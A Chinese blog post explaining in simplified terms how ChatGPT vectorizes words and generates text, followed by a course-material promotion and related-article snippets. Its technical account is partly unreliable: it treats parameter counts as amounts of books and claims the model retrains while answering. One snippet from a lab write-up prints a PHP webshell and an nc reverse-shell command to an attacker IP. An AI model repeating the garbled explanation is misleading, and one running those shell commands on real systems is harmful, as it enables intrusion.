ChatGPT魔法背后的原理:如何做到词语接龙式输出?

介绍

我们都知道 ChatGPT 是 AIGC 工具,其实就是生成式人工智能。大家有没有想过这些问题 🤔️:

1、我们输入一段话,就可以看见它*噼里啪啦的一顿输出*,那么它的原理到底是什么?

2、到底它是怎么锁定这些文字,然后把相应的答案输出给我们的?

当我第一次面对这些问题时,我最开始并没有多想,就觉得它很牛就对了 🐮!

图片

带着这些疑问,我们一起开始今天的分享。

原理

在分享之前,我就了解到最开始学习提示词的那一波人真的太辛苦了,资料很稀缺,不像今天一抓一大把,我和一位提示词大佬沟通过,了解到,他们最开始都是从学习原理和概念开始,一句一句提问,一点一滴地探索,时常带着疑问思考它是怎么做到。

其实这也是最好的途径,这样有助于我们了解原理,而不会在遇到各色各样的问题时手足无措。也可以在后期,帮助我们去理解,去编写更加结构化的提示词,来应对复杂的任务

图片

通过这次学习,我们基本上可以了解到以下几点:

  • ChatGPT 是怎么理解我们输入内容的含义的?
  • ChatGPT 回答的时候,它是怎么做到词语接龙式的涌现?

我这边通过观看视频和资料,总结并通俗化的理解了一下,希望对大家有所帮助:

首先,计算机如何可以理解我们提供文字的意思?是需要经历两步。第一步叫做向量化,第二步叫做信息压缩与特征提取

向量化是什么? 看起来有点蒙圈,其实向量化就是将文字、图像或其他数据类型转化为数值形式的一种方法,通常是转化为一串数字,即向量。这个向量可以代表数据的某种特性或信息。

在这里插入图片描述

如例:你有一个水果清单:苹果,香蕉和橙子。要让计算机理解这些水果,你可以给每种水果分配一个数字。例如,苹果是[1,0,0],香蕉是[0,1,0],橙子是[0,0,1]。这样,当你告诉计算机“苹果”,它会知道你是指**[1,0,0]**这个向量。这就是一种简单的向量化。

另外苹果是大的,小的,还是熟的,烂的,这些描述形状,成熟度各个维度的特征词,都会影响向量的长度和不同。说白了,维度越多,转化的向量对与这个事物表述的准确性越高。

为什么要向量化呢? 向量化的目的不仅为了电脑方便识别(数字更容易识别)。另外,向量化通过机器的不断的试错再试错地训练(术语叫 “信息压缩与特征提取”), 这样它可以结合大量的语料库将不同的词语放在巨大向量空间中合适的坐标上,特征越相似,坐标的距离越近。

那是怎么不断试错的呢? 这样说,现在我们要训练 10000 个字的数据集(书籍、新闻等等数据集),那如何让这个 10000 个字放在合适的坐标中呢,那就是结合每个词与词进行向量的计算,术语叫损失函数,来判断这个词是否比较合适的放在一起。这样不断计算,不断试错,和不断纠正,最终 10000 个字就放在了合适的位置。

有案例吗? 有,比如“苹”和“果”, 按照常识应该是放在一起的,那是因为结合了这个 10000 个数据集进行计算,"苹"和"果"经常出现在一起,所以他们应该放在一起。而"苹"和 “名” 在这个数据集中几乎不存在靠近的机会,所以不适合在向量空间中存在相近的位置。其实,这个巨大的向量空间中,我们也看到了现实生活中的一些规律,俗话说 “物以类聚,人以群分”,这句话则是对这个规则的一种很好的诠释。

在这里插入图片描述

换个例子,因为我们都是追逐时代潮流,想要学习 AI 来赋能工作、自媒体、等等赛道的弄潮儿,所以你们在看我的文章!从某个角度,我们在大千世界的向量空间中,因为学习 AI 这个共同目标出发,基于这个维度,我们的坐标值是比较接近的。

现在词都在正确的位置了,那怎么词语接龙呢?这时候就需要请出 Google TransFormer“自注意力机制”,它是现在通用大模型的鼻祖,这边不过多解释,感兴趣的朋友可以了解下。回到正题,到底怎么词语接龙,举个例子,前半句的提问是**“苹果的创始人是乔布斯,那么苹果指的是?”** ,现在答案有两种,一种是**“美国科技巨头公司”。另外一种是“水果”**。

到底是哪种?这时,机器提取句子里的关键词 “苹果”、“创始人”、“乔布斯”后,先在整个向量空间中进行分析拿到可能相近的两个结果“苹果”、“美国科技巨头公司”与可能的结果进行向量相乘并再次训练,得出哪个答案的权重更高,通过不断试错,最终答案就得出了“美国科技巨头公司”

在这里插入图片描述

所以到底什么是词语接龙式涌现的原因呢? 总结一句话,就是结合已经出现的字,把接下来可能的答案不断进行计算、训练、试错和自我纠正,得出概率最高的那个词后,再次拼起来后,按照同样的方式再继续寻找下一次词。

另外,在学习过程中有一句话让我影响很深刻,ChatGPT 本身就是一个基于 Transformer 为基础的语言模型,被制作出来,并不是为了解决实际问题,而是为了把话说漂亮,而怎么把话说漂亮,就是基于它看了多少本书了。

我们都知道 GPT3.5 看了 1750 亿数据量 的书籍,所以用 GPT3.5 时,细心的小伙伴会发现,有些场景虽然说的很有道理,但实际结果是不对的。但是用 GPT4.0 的时候,发现说的又对了,那是因为 GPT4.0 是 1.8 万亿 的数据量。所以大家知道为啥有时候 GPT4.0 的回答更实用了吧?那是因为他们脑袋瓜子不一样。

图片

我平时经常分享 AI 资讯时,看到未来 GPT5 的数据集将会是 GPT4.0 的 100 倍,真的不敢想象到底它的天花板在哪里!!!学会 ChatGPT,已经势在必行。

总结

最后,我想说一句话也算是自我勉励,“学习新知识,系统学习的方式才是正确法则,如何系统学习,了解基础是第一步,切记不要浮躁”。

小小分享,希望借助自己微不足道的力量帮助到大家,也欢迎大家和我一起共同探讨和交流!💪

如何学习AI大模型?

作为一名热心肠的互联网老兵,我决定把宝贵的AI知识分享给大家。 至于能学习到多少就看你的学习毅力和能力了 。我已将重要的AI大模型资料包括AI大模型入门学习思维导图、精品AI大模型学习书籍手册、视频教程、实战学习等录播视频免费分享出来。

这份完整版的大模型 AI 学习资料已经上传CSDN,朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费

一、全套AGI大模型学习路线

AI大模型时代的学习之旅:从基础到前沿,掌握人工智能的核心技能!

img

二、640套AI大模型报告合集

这套包含640份报告的合集,涵盖了AI大模型的理论研究、技术实现、行业应用等多个方面。无论您是科研人员、工程师,还是对AI大模型感兴趣的爱好者,这套报告合集都将为您提供宝贵的信息和启示。

img

三、AI大模型经典PDF籍

随着人工智能技术的飞速发展,AI大模型已经成为了当今科技领域的一大热点。这些大型预训练模型,如GPT-3、BERT、XLNet等,以其强大的语言理解和生成能力,正在改变我们对人工智能的认识。 那以下这些PDF籍就是非常不错的学习资源。

img

四、AI大模型商业化落地方案

img

作为普通人,入局大模型时代需要持续学习和实践,不断提高自己的技能和认知水平,同时也需要有责任感和伦理意识,为人工智能的健康发展贡献力量。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/350739.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

GitLab教程(二):快速上手Git

文章目录 1.将远端代码克隆到本地2.修改本地代码并提交到远程仓库3.Git命令总结git clonegit statusgit addgit commitgit pushgit log 首先,我在Gitlab上创建了一个远程仓库,用于演示使用Gitlab进行版本管理的完整流程: 1.将远端代码克隆到本…

宝藏速成秘籍(7)堆排序法

一、前言 1.1、概念 堆排序(Heapsort)是指利用堆这种数据结构所设计的一种排序算法 。堆是一个近似 完全二叉树 的结构,并同时满足堆积的性质:即子结点的键值或索引总是小于(或者大于)它的父节点。 1.2、排…

重生之 SpringBoot3 入门保姆级学习(19、场景整合 CentOS7 Docker 的安装)

重生之 SpringBoot3 入门保姆级学习(19、场景整合 CentOS7 Docker 的安装) 6、场景整合6.1 Docker 6、场景整合 6.1 Docker 官网 https://docs.docker.com/查看自己的 CentOS配置 cat /etc/os-releaseStep 1: 安装必要的一些系统工具 sudo yum insta…

React state(及组件) 的保留与重置

当在树中相同的位置渲染相同的组件时&#xff0c;React 会一直保留着组件的 state return (<div><Counter />{showB && <Counter />} </div> ) // 当 showB 为 false, 第二个计数器停止渲染&#xff0c;它的 state 完全消失了。这是因为 React…

Github 2024-06-14 开源项目日报Top10

根据Github Trendings的统计,今日(2024-06-14统计)共有10个项目上榜。根据开发语言中项目的数量,汇总情况如下: 开发语言项目数量JavaScript项目2Python项目2非开发语言项目2TypeScript项目1Dart项目1Rust项目1Lua项目1Java项目1Jupyter Notebook项目1从零开始构建你喜爱的技…

解决 kali 中使用 vulhub 拉取不到镜像问题

由于默认情况下&#xff0c;访问的镜像是国外的&#xff0c;而从 2023 年开始&#xff0c;docker 的镜像网站就一直访问不了&#xff0c;所以我们可以把镜像地址改成国内的阿里云镜像地址。 1、在 cd /etc/docker/目录下创建或修改daemon.json文件 sudo touch daemon.json 2、在…

MySQL之高级特性(一)

高级特性 外键约束 InnoDB是目前MySQL中唯一支持外键的内置存储引擎&#xff0c;所以如果需要外键支持那选择就不多了。使用外键是有成本的。比如外键通常都要求每次在修改数据时都要在另一张表中多执行一次查找操作。虽然InnoDB强制外键使用索引&#xff0c;但还是无法消除这…

【启明智显彩屏应用】Model3A 7寸触摸彩屏的充电桩应用方案

一、充电桩概述 &#xff08;一&#xff09;充电桩诞生背景 随着社会的进步和人们生活质量的提升&#xff0c;汽车已逐渐融入每个家庭的日常生活中。然而&#xff0c;汽车数量的激增也带来了严重的环境污染问题&#xff0c;特别是尾气排放。为了应对这一挑战&#xff0c;新能源…

HTML静态网页成品作业(HTML+CSS)—— 零食商城网页(1个页面)

&#x1f389;不定期分享源码&#xff0c;关注不丢失哦 文章目录 一、作品介绍二、作品演示三、代码目录四、网站代码HTML部分代码 五、源码获取 一、作品介绍 &#x1f3f7;️本套采用HTMLCSS&#xff0c;未使用Javacsript代码&#xff0c;共有1个页面。 二、作品演示 三、代…

【计算机网络仿真实验-实验2.6】带交换机的RIP路由协议

实验2.6 带交换机的rip路由协议 1. 实验拓扑图 2. 实验前查看是否能ping通 不能 3. 三层交换机配置 switch# configure terminal switch(config)# hostname s5750 !将交换机更名为S5750 S5750# configure terminal S5750(config)#vlan 10 S5750(config-vlan)#exit S57…

Spring运维之boo项目表现层测试匹配响应执行状态响应体JSON和响应头

匹配响应执行状态 我们创建了测试环境 而且发送了虚拟的请求 我们接下来要进行验证 验证请求和预期值是否匹配 MVC结果匹配器 匹配上了 匹配失败 package com.example.demo;import org.junit.jupiter.api.Test; import org.springframework.beans.factory.annotation.Auto…

可解析PHP的反弹shell方法

这里拿vulnhub-DC-8靶场反弹shell&#xff0c;详情见Vulnhub-DC-8 命令执行 拿nc举例 <?php echo system($_POST[cmd]); ?>利用是hackbar&#xff0c;POST提交cmdnc -e /bin/sh 192.168.20.128 6666, 直接反弹shell到kali。 一句话木马 <?php eval($_POST[&qu…

MySQL学习笔记-进阶篇-SQL优化

SQL优化 插入数据 insert优化 1&#xff09;批量插入 insert into tb_user values(1,Tom),(2,Cat),(3,Jerry); 2&#xff09;手动提交事务 mysql 默认是自动提交事务&#xff0c;这样会导致频繁的开启和提交事务&#xff0c;影响性能 start transaction insert into tb_us…

亚马逊测评自养号与机刷的区别

前言&#xff1a; 在亚马逊运营的领域中&#xff0c;经常有人问&#xff1a;测评自养号就是机刷吗&#xff1f;它们两者有什么区别&#xff1f;做自养号太慢、太需要时间了&#xff0c;如果用机刷的话&#xff0c;会不会简单高效一点&#xff1f; 在这篇文章中&#xff0c;我…

【设计模式深度剖析】【8】【行为型】【备忘录模式】| 以后悔药为例加深理解

&#x1f448;️上一篇:观察者模式 设计模式-专栏&#x1f448;️ 文章目录 备忘录模式定义英文原话直译如何理解呢&#xff1f; 3个角色1. Memento&#xff08;备忘录&#xff09;2. Originator&#xff08;原发器&#xff09;3. Caretaker&#xff08;负责人&#xff09;类…

Unity基础(三)3D场景搭建

目录 简介: 一.下载新手资源 二.创建基本地形 三.添加场景细节 四,添加水 五,其他 六. 总结 简介: 在 Unity 中进行 3D 场景搭建是创建富有立体感和真实感的虚拟环境的关键步骤。 首先&#xff0c;需要导入各种 3D 模型资源&#xff0c;如建筑物、角色、道具等。这些模…

181.二叉树:验证二叉树(力扣)

代码解决 /*** Definition for a binary tree node.* struct TreeNode {* int val;* TreeNode *left;* TreeNode *right;* TreeNode() : val(0), left(nullptr), right(nullptr) {}* TreeNode(int x) : val(x), left(nullptr), right(nullptr) {}* Tre…

Linux rm命令由于要删的文件太多报-bash: /usr/bin/rm:参数列表过长,无法删除的解决办法

银河麒麟系统&#xff0c;在使用rm命令删除文件时报了如下错误&#xff0c;删不掉&#xff1a; 查了一下&#xff0c;原因就是要删除的文件太多了&#xff0c;例如我当前要删的文件共有这么多&#xff1a; 查到了解决办法&#xff0c;记录在此。需要使用xargs命令来解决参数列表…

【Vue】Pinia管理用户数据

Pinia管理用户数据 基本思想&#xff1a;Pinia负责用户数据相关的state和action&#xff0c;组件中只负责触发action函数并传递参数 步骤1&#xff1a;创建userStore 1-创建store/userStore.js import { loginAPI } from /apis/user export const useUserStore defineStore(…

ADS基础教程20 - 电磁仿真(EM)参数化

EM介绍 一、引言二、参数化设置1.参数定义2.参数赋值3.创建EM模型和符号 四、总结 一、引言 参数化EM仿真&#xff0c;是在Layout环境下创建参数&#xff0c;相当于在原理图中声明变量。 二、参数化设置 1.参数定义 1&#xff09;在Layout视图&#xff0c;菜单栏中选中EM&g…